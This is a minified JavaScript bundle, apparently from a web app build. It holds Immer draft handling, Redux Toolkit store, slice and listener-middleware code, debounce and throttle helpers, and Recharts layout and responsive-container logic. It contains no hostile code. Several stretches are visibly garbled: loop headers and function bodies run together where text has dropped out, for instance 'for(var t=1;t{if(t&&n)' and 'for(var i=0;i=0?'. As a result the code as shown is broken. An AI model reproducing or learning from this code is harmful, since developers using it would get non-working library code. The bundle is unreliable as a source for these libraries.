s=i.getPath(e);s&&i.generatePatches_(e,s,t)}VN(e)}}function SO(e,t,n){const{scope_:r}=e;if(Ir(n)){const i=n[Vt];Md(i,r)&&i.callbacks_.push(function(){Nc(e);const o=Gx(i);HN(e,n,o,t)})}else Zn(n)&&e.callbacks_.push(function(){const s=Nr(e);e.type_===3?s.has(n)&&du(n,r.handledSet_,r):Wp(s,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&du(Wp(e.copy_,t,e.type_),r.handledSet_,r)})}function du(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Ir(e)||t.has(e)||!Zn(e)||Td(e)||(t.add(e),Ed(e,(r,i)=>{if(Ir(i)){const s=i[Vt];if(Md(s,n)){const o=Gx(s);cu(e,r,o,e.type_),VN(s)}}else Zn(i)&&du(i,t,n)})),e}function CO(e,t){const n=_d(e),r={type_:n?1:0,scope_:t?t.scope_:UN(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,s=fu;n&&(i=[r],s=Fo);const{revoke:o,proxy:l}=Proxy.revocable(i,s);return r.draft_=l,r.revoke_=o,[l,r]}var fu={get(e,t){if(t===Vt)return e;let n=e.scope_.arrayMethodsPlugin_;const r=e.type_===1&&typeof t=="string";if(r&&n!=null&&n.isArrayOperationMethod(t))return n.createMethodInterceptor(e,t);const i=Nr(e);if(!by(i,t,e.type_))return PO(e,i,t);const s=i[t];if(e.finalized_||!Zn(s)||r&&e.operationMethod&&(n!=null&&n.isMutatingArrayMethod(e.operationMethod))&&yO(t))return s;if(s===um(e.base_,t)){Nc(e);const o=e.type_===1?+t:t,l=qp(e.scope_,s,e,o);return e.copy_[o]=l}return s},has(e,t){return t in Nr(e)},ownKeys(e){return Reflect.ownKeys(Nr(e))},set(e,t,n){const r=YN(Nr(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=um(Nr(e),t),s=i==null?void 0:i[Vt];if(s&&s.base_===n)return e.copy_[t]=n,e.assigned_.set(t,!1),!0;if(gO(n,i)&&(n!==void 0||by(e.base_,t,e.type_)))return!0;Nc(e),Yp(e)}return e.copy_[t]===n&&(n!==void 0||t in e.copy_)||Number.isNaN(n)&&Number.isNaN(e.copy_[t])||(e.copy_[t]=n,e.assigned_.set(t,!0),SO(e,t,n)),!0},deleteProperty(e,t){return Nc(e),um(e.base_,t)!==void 0||t in e.base_?(e.assigned_.set(t,!1),Yp(e)):e.assigned_.delete(t),e.copy_&&delete e.copy_[t],!0},getOwnPropertyDescriptor(e,t){const n=Nr(e),r=Reflect.getOwnPropertyDescriptor(n,t);return r&&{[jc]:!0,[Fp]:e.type_!==1||t!=="length",[lu]:r[lu],[$o]:n[t]}},defineProperty(){Un(11)},getPrototypeOf(e){return os(e.base_)},setPrototypeOf(){Un(12)}},Fo={};for(let e in fu){let t=fu[e];Fo[e]=function(){const n=arguments;return n[0]=n[0][0],t.apply(this,n)}}Fo.deleteProperty=function(e,t){return Fo.set.call(this,e,t,void 0)};Fo.set=function(e,t,n){return fu.set.call(this,e[0],t,n,e[0])};function um(e,t){const n=e[Vt];return(n?Nr(n):e)[t]}function PO(e,t,n){var i;const r=YN(t,n);return r?$o in r?r[$o]:(i=r.get)==null?void 0:i.call(e.draft_):void 0}function YN(e,t){if(!(t in e))return;let n=os(e);for(;n;){const r=Object.getOwnPropertyDescriptor(n,t);if(r)return r;n=os(n)}}function Yp(e){e.modified_||(e.modified_=!0,e.parent_&&Yp(e.parent_))}function Nc(e){e.copy_||(e.assigned_=new Map,e.copy_=Up(e.base_,e.scope_.immer_.useStrictShallowCopy_))}var EO=class{constructor(t){this.autoFreeze_=!0,this.useStrictShallowCopy_=!1,this.useStrictIteration_=!1,this.produce=(n,r,i)=>{if(Ca(n)&&!Ca(r)){const o=r;r=n;const l=this;return function(u=o,...d){return l.produce(u,f=>r.call(this,f,...d))}}Ca(r)||Un(6),i!==void 0&&!Ca(i)&&Un(7);let s;if(Zn(n)){const o=ky(this),l=qp(o,n,void 0);let c=!0;try{s=r(l),c=!1}finally{c?Hp(o):Kp(o)}return Ny(o,i),zy(s,o)}else if(!n||!qx(n)){if(s=r(n),s===void 0&&(s=n),s===BN&&(s=void 0),this.autoFreeze_&&Xx(s,!0),i){const o=[],l=[];fa(Vp).generateReplacementPatches_(n,s,{patches_:o,inversePatches_:l}),i(o,l)}return s}else Un(1,n)},this.produceWithPatches=(n,r)=>{if(Ca(n))return(l,...c)=>this.produceWithPatches(l,u=>n(u,...c));let i,s;return[this.produce(n,r,(l,c)=>{i=l,s=c}),i,s]},cm(t==null?void 0:t.autoFreeze)&&this.setAutoFreeze(t.autoFreeze),cm(t==null?void 0:t.useStrictShallowCopy)&&this.setUseStrictShallowCopy(t.useStrictShallowCopy),cm(t==null?void 0:t.useStrictIteration)&&this.setUseStrictIteration(t.useStrictIteration)}createDraft(t){Zn(t)||Un(8),Ir(t)&&(t=qn(t));const n=ky(this),r=qp(n,t,void 0);return r[Vt].isManual_=!0,Kp(n),r}finishDraft(t,n){const r=t&&t[Vt];(!r||!r.isManual_)&&Un(9);const{scope_:i}=r;return Ny(i,n),zy(void 0,i)}setAutoFreeze(t){this.autoFreeze_=t}setUseStrictShallowCopy(t){this.useStrictShallowCopy_=t}setUseStrictIteration(t){this.useStrictIteration_=t}shouldUseStrictIteration(){return this.useStrictIteration_}applyPatches(t,n){let r;for(r=n.length-1;r>=0;r--){const s=n[r];if(s.path.length===0&&s.op==="replace"){t=s.value;break}}r>-1&&(n=n.slice(r+1));const i=fa(Vp).applyPatches_;return Ir(t)?i(t,n):this.produce(t,s=>i(s,n))}};function qp(e,t,n,r){const[i,s]=Ad(t)?fa(uu).proxyMap_(t,n):Od(t)?fa(uu).proxySet_(t,n):CO(t,n);return((n==null?void 0:n.scope_)??UN()).drafts_.push(i),s.callbacks_=(n==null?void 0:n.callbacks_)??[],s.key_=r,n&&r!==void 0?zO(n,s,r):s.callbacks_.push(function(c){var d;(d=c.mapSetPlugin_)==null||d.fixSetContents(s);const{patchPlugin_:u}=c;s.modified_&&u&&u.generatePatches_(s,[],c)}),i}function qn(e){return Ir(e)||Un(10,e),qN(e)}function qN(e){if(!Zn(e)||Td(e))return e;const t=e[Vt];let n,r=!0;if(t){if(!t.modified_)return t.base_;t.finalized_=!0,n=Up(e,t.scope_.immer_.useStrictShallowCopy_),r=t.scope_.immer_.shouldUseStrictIteration()}else n=Up(e,!0);return Ed(n,(i,s)=>{cu(n,i,qN(s))},r),t&&(t.finalized_=!1),n}var _O=new EO,GN=_O.produce;function XN(e){return({dispatch:n,getState:r})=>i=>s=>typeof s=="function"?s(n,r,e):i(s)}var AO=XN(),OO=XN,TO=typeof window<"u"&&window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__?window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__:function(){if(arguments.length!==0)return typeof arguments[0]=="object"?su:su.apply(null,arguments)};function On(e,t){function n(...r){if(t){let i=t(...r);if(!i)throw new Error(mn(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>$N(r)&&r.type===e,n}var ZN=class no extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,no.prototype)}static get[Symbol.species](){return no}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new no(...t[0].concat(this)):new no(...t.concat(this))}};function Cy(e){return Zn(e)?GN(e,()=>{}):e}function Vl(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function MO(e){return typeof e=="boolean"}var LO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:s=!0}=t??{};let o=new ZN;return n&&(MO(n)?o.push(AO):o.push(OO(n.extraArgument))),o},QN="RTK_autoBatch",He=()=>e=>({payload:e,meta:{[QN]:!0}}),Py=e=>t=>{setTimeout(t,e)},JN=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,s=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:Py(10):e.type==="callback"?e.queueNotification:Py(e.timeout),u=()=>{o=!1,s&&(s=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),p=r.subscribe(f);return l.add(d),()=>{p(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[QN]),s=!i,s&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},IO=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new ZN(e);return r&&i.push(JN(typeof r=="object"?r:void 0)),i};function DO(e){const t=LO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:s=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Yx(n))l=RN(n);else throw new Error(mn(1));let c;typeof r=="function"?c=r(t):c=t();let u=su;i&&(u=TO({trace:!1,...typeof i=="object"&&i}));const d=xO(...c),f=IO(d);let p=typeof o=="function"?o(f):f();const h=u(...p);return DN(l,s,h)}function ek(e){const t={},n=[];let r;const i={addCase(s,o){const l=typeof s=="string"?s:s.type;if(!l)throw new Error(mn(28));if(l in t)throw new Error(mn(29));return t[l]=o,i},addAsyncThunk(s,o){return o.pending&&(t[s.pending.type]=o.pending),o.rejected&&(t[s.rejected.type]=o.rejected),o.fulfilled&&(t[s.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:s.settled,reducer:o.settled}),i},addMatcher(s,o){return n.push({matcher:s,reducer:o}),i},addDefaultCase(s){return r=s,i}};return e(i),[t,n,r]}function RO(e){return typeof e=="function"}function $O(e,t){let[n,r,i]=ek(t),s;if(RO(e))s=()=>Cy(e());else{const l=Cy(e);s=()=>l}function o(l=s(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Ir(d)){const h=f(d,c);return h===void 0?d:h}else{if(Zn(d))return GN(d,p=>f(p,c));{const p=f(d,c);if(p===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return p}}return d},l)}return o.getInitialState=s,o}var BO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",FO=(e=21)=>{let t="",n=e;for(;n--;)t+=BO[Math.random()*64|0];return t},WO=Symbol.for("rtk-slice-createasyncthunk");function UO(e,t){return`${e}/${t}`}function VO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[WO];return function(i){const{name:s,reducerPath:o=s}=i;if(!s)throw new Error(mn(11));const l=(typeof i.reducers=="function"?i.reducers(KO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,N){const k=typeof j=="string"?j:j.type;if(!k)throw new Error(mn(12));if(k in u.sliceCaseReducersByType)throw new Error(mn(13));return u.sliceCaseReducersByType[k]=N,d},addMatcher(j,N){return u.sliceMatchers.push({matcher:j,reducer:N}),d},exposeAction(j,N){return u.actionCreators[j]=N,d},exposeCaseReducer(j,N){return u.sliceCaseReducersByName[j]=N,d}};c.forEach(j=>{const N=l[j],k={reducerName:j,type:UO(s,j),createNotation:typeof i.reducers=="function"};qO(N)?XO(k,N,d,t):YO(k,N,d)});function f(){const[j={},N=[],k=void 0]=typeof i.extraReducers=="function"?ek(i.extraReducers):[i.extraReducers],z={...j,...u.sliceCaseReducersByType};return $O(i.initialState,S=>{for(let A in z)S.addCase(A,z[A]);for(let A of u.sliceMatchers)S.addMatcher(A.matcher,A.reducer);for(let A of N)S.addMatcher(A.matcher,A.reducer);k&&S.addDefaultCase(k)})}const p=j=>j,h=new Map,x=new WeakMap;let g;function y(j,N){return g||(g=f()),g(j,N)}function v(){return g||(g=f()),g.getInitialState()}function b(j,N=!1){function k(S){let A=S[j];return typeof A>"u"&&N&&(A=Vl(x,k,v)),A}function z(S=p){const A=Vl(h,N,()=>new WeakMap);return Vl(A,S,()=>{const _={};for(const[O,P]of Object.entries(i.selectors??{}))_[O]=HO(P,S,()=>Vl(x,S,v),N);return _})}return{reducerPath:j,getSelectors:z,get selectors(){return z(k)},selectSlice:k}}const w={name:s,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:N,...k}={}){const z=N??o;return j.inject({reducerPath:z,reducer:y},k),{...w,...b(z,!0)}}};return w}}function HO(e,t,n,r){function i(s,...o){let l=t(s);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var nn=VO();function KO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function YO({type:e,reducerName:t,createNotation:n},r,i){let s,o;if("reducer"in r){if(n&&!GO(r))throw new Error(mn(17));s=r.reducer,o=r.prepare}else s=r;i.addCase(e,s).exposeCaseReducer(t,s).exposeAction(t,o?On(e,o):On(e))}function qO(e){return e._reducerDefinitionType==="asyncThunk"}function GO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function XO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(mn(18));const{payloadCreator:s,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,s,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Hl,pending:l||Hl,rejected:c||Hl,settled:u||Hl})}function Hl(){}var ZO="task",tk="listener",nk="completed",Zx="cancelled",QO=`task-${Zx}`,JO=`task-${nk}`,Gp=`${tk}-${Zx}`,eT=`${tk}-${nk}`,Ld=class{constructor(e){Cf(this,"name","TaskAbortError");Cf(this,"message");this.code=e,this.message=`${ZO} ${Zx} (reason: ${e})`}},Qx=(e,t)=>{if(typeof e!="function")throw new TypeError(mn(32))},mu=()=>{},rk=(e,t=mu)=>(e.catch(t),e),ik=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ji=e=>{if(e.aborted)throw new Ld(e.reason)};function ak(e,t){let n=mu;return new Promise((r,i)=>{const s=()=>i(new Ld(e.reason));if(e.aborted){s();return}n=ik(e,s),t.finally(()=>n()).then(r,i)}).finally(()=>{n=mu})}var tT=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof Ld?"cancelled":"rejected",error:n}}finally{t==null||t()}},pu=e=>t=>rk(ak(e,t).then(n=>(Ji(e),n))),sk=e=>{const t=pu(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:Ga}=Object,Ey={},Id="listenerMiddleware",nT=(e,t)=>{const n=r=>ik(e,()=>r.abort(e.reason));return(r,i)=>{Qx(r);const s=new AbortController;n(s);const o=tT(async()=>{Ji(e),Ji(s.signal);const l=await r({pause:pu(s.signal),delay:sk(s.signal),signal:s.signal});return Ji(s.signal),l},()=>s.abort(JO));return i!=null&&i.autoJoin&&t.push(o.catch(mu)),{result:pu(e)(o),cancel(){s.abort(QO)}}}},rT=(e,t)=>{const n=async(r,i)=>{Ji(t);let s=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,p)=>{p.unsubscribe(),c([f,p.getState(),p.getOriginalState()])}});s=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await ak(t,Promise.race(l));return Ji(t),c}finally{s()}};return(r,i)=>rk(n(r,i))},ok=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:s}=e;if(t)i=On(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(mn(21));return Qx(s),{predicate:i,type:t,effect:s}},lk=Ga(e=>{const{type:t,predicate:n,effect:r}=ok(e);return{id:FO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(mn(22))}}},{withTypes:()=>lk}),_y=(e,t)=>{const{type:n,effect:r,predicate:i}=ok(t);return Array.from(e.values()).find(s=>(typeof n=="string"?s.type===n:s.predicate===i)&&s.effect===r)},Xp=e=>{e.pending.forEach(t=>{t.abort(Gp)})},iT=(e,t)=>()=>{for(const n of t.keys())Xp(n);e.clear()},Ay=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},ck=Ga(On(`${Id}/add`),{withTypes:()=>ck}),aT=On(`${Id}/removeAll`),uk=Ga(On(`${Id}/remove`),{withTypes:()=>uk}),sT=(...e)=>{console.error(`${Id}/error`,...e)},ol=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:s,onError:o=sT}=e;Qx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Xp(h)}),c=h=>{const x=_y(t,h)??lk(h);return l(x)};Ga(c,{withTypes:()=>c});const u=h=>{const x=_y(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Xp(x)),!!x};Ga(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=rT(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,Ga({},g,{getOriginalState:y,condition:(j,N)=>b(j,N).then(Boolean),take:b,delay:sk(v.signal),pause:pu(v.signal),extra:s,signal:v.signal,fork:nT(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,N,k)=>{j!==v&&(j.abort(Gp),k.delete(j))})},cancel:()=>{v.abort(Gp),h.pending.delete(v)},throwIfCancelled:()=>{Ji(v.signal)}})))}catch(j){j instanceof Ld||Ay(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(eT),i(h),h.pending.delete(v)}},f=iT(t,n);return{middleware:h=>x=>g=>{if(!$N(g))return x(g);if(ck.match(g))return c(g.payload);if(aT.match(g)){f();return}if(uk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===Ey)throw new Error(mn(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const N of j){let k=!1;try{k=N.predicate(g,w,y)}catch(z){k=!1,Ay(o,z,{raisedBy:"predicate"})}k&&d(N,g,h,v)}}}finally{y=Ey}return b},startListening:c,stopListening:u,clearListeners:f}};function mn(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var oT={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},dk=nn({name:"chartLayout",initialState:oT,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,s;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(s=t.payload.left)!==null&&s!==void 0?s:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:lT,setLayout:cT,setChartSize:uT,setScale:dT}=dk.actions,fT=dk.reducer;function fk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function Ee(e){return Number.isFinite(e)}function Si(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function Oy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ba(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:s,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&s!=="center"&&ge(e[s]))return Ba(Ba({},e),{},{[s]:e[s]+(r||0)});if((l==="horizontal"||l==="vertical"&&s==="center")&&o!=="middle"&&ge(e[o]))return Ba(Ba({},e),{},{[o]:e[o]+(i||0)})}return e},xr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",vT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=s,s+=p,u[1]=s):(u[0]=o,o+=p,u[1]=o)}}}},gT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=s,s+=u,c[1]=s):(c[0]=0,c[1]=0)}}}},yT={sign:vT,expand:o6,none:ua,silhouette:l6,wiggle:c6,positive:gT},bT=(e,t,n)=>{var r,i=(r=yT[n])!==null&&r!==void 0?r:ua,s=s6().keys(t).value((l,c)=>Number(Ve(l,c,0))).order($p).offset(i),o=s(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Ve(e[d],t[c],0);Array.isArray(f)&&f.length===2&&ge(f[0])&&ge(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function wT(e){return e==null?void 0:String(e)}function Ty(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:s,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Mt(i[t.dataKey])){var l=iN(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[s]?n[s].coordinate+r/2:null}var c=Ve(i,Mt(o)?t.dataKey:o),u=t.scale.map(c);return ge(u)?u:null}var jT=e=>{var t=e.flat(2).filter(ge);return[Math.min(...t),Math.max(...t)]},NT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],kT=(e,t,n)=>{if(e!=null)return NT(Object.keys(e).reduce((r,i)=>{var s=e[i];if(!s)return r;var{stackedData:o}=s,l=o.reduce((c,u)=>{var d=fk(u,t,n),f=jT(d);return!Ee(f[0])||!Ee(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},My=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,Ly=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,hu=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=Cd(t,d=>d.coordinate),s=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},ST=(e,t)=>t==="centric"?e.angle:e.radius,Hr=e=>e.layout.width,Kr=e=>e.layout.height,CT=e=>e.layout.scale,mk=e=>e.layout.margin,Rd=L(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),$d=L(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),pk="data-recharts-item-index",hk="data-recharts-item-id",ll=60;function Dy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Kl(e){for(var t=1;te.brush.height;function OT(e){var t=$d(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:ll;return n+i}return n},0)}function TT(e){var t=$d(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:ll;return n+i}return n},0)}function MT(e){var t=Rd(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function LT(e){var t=Rd(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var kt=L([Hr,Kr,mk,AT,OT,TT,MT,LT,IN,uO],(e,t,n,r,i,s,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+s},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},p=Kl(Kl({},f),d),h=p.bottom;p.bottom+=r,p=xT(p,c,u);var x=e-p.left-p.right,g=t-p.top-p.bottom;return Kl(Kl({brushBottom:h},p),{},{width:Math.max(x,0),height:Math.max(g,0)})}),IT=L(kt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));L(Hr,Kr,(e,t)=>({x:0,y:0,width:e,height:t}));var DT=m.createContext(null),Jn=()=>m.useContext(DT)!=null,Bd=e=>e.brush,Fd=L([Bd,kt,mk],(e,t,n)=>({height:e.height,x:ge(e.x)?e.x:t.left,y:ge(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:ge(e.width)?e.width:t.width})),xk={},vk={},gk={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:s}={}){let o,l=null;const c=s!=null&&s.includes("leading"),u=s==null||s.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let p=null;const h=()=>{p!=null&&clearTimeout(p),p=setTimeout(()=>{p=null,f()},r)},x=()=>{p!==null&&(clearTimeout(p),p=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=p==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(gk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=gk;function n(r,i=0,s={}){typeof s!="object"&&(s={});const{leading:o=!1,trailing:l=!0,maxWait:c}=s,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const p=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),p.cancel(),p.schedule(),d):(p.apply(this,g),d)},x=()=>(p.flush(),d);return h.cancel=p.cancel,h.flush=x,h}e.debounce=n})(vk);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=vk;function n(r,i=0,s={}){const{leading:o=!0,trailing:l=!0}=s;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(xk);var RT=xk.throttle;const $T=Wr(RT);var Ry=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),s=2;si[o++]))}},or={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},yk=(e,t,n)=>{var{width:r=or.width,height:i=or.height,aspect:s,maxHeight:o}=n,l=da(r)?e:Number(r),c=da(i)?t:Number(i);return s&&s>0&&(l?c=l/s:c&&(l=c*s),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},BT={width:0,height:0,overflow:"visible"},FT={width:0,overflowX:"visible"},WT={height:0,overflowY:"visible"},UT={},VT=e=>{var{width:t,height:n}=e,r=da(t),i=da(n);return r&&i?BT:r?FT:i?WT:UT};function HT(e){var{width:t,height:n,aspect:r}=e,i=t,s=n;return i===void 0&&s===void 0?(i=or.width,s=or.height):i===void 0?i=r&&r>0?void 0:or.width:s===void 0&&(s=r&&r>0?void 0:or.height),{width:i,height:s}}function Zp(){return Zp=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return GT(i)?m.createElement(bk.Provider,{value:i},t):null}var Jx=()=>m.useContext(bk),XT=m.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=or.initialDimension,width:i,height:s,minWidth:o=or.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=or.debounce,id:f,className:p,onResize:h,style:x={}}=e,g=m.useRef(null),y=m.useRef();y.current=h,m.useImperativeHandle(t,()=>g.current);var[v,b]=m.useState({containerWidth:r.width,containerHeight:r.height}),w=m.useCallback((S,A)=>{b(_=>{var O=Math.round(S),P=Math.round(A);return _.containerWidth===O&&_.containerHeight===P?_:{containerWidth:O,containerHeight:P}})},[]);m.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return ys;var S=P=>{var D,V=P[0];if(V!=null){var{width:R,height:M}=V.contentRect;w(R,M),(D=y.current)===null||D===void 0||D.call(y,R,M)}};d>0&&(S=$T(S,d,{trailing:!0,leading:!1}));var A=new ResizeObserver(S),{width:_,height:O}=g.current.getBoundingClientRect();return w(_,O),A.observe(g.current),()=>{A.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:N}=v;Ry(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:k,calculatedHeight:z}=yk(j,N,{width:i,height:s,aspect:n,maxHeight:c});return Ry(k!=null&&k>0||z!=null&&z>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) 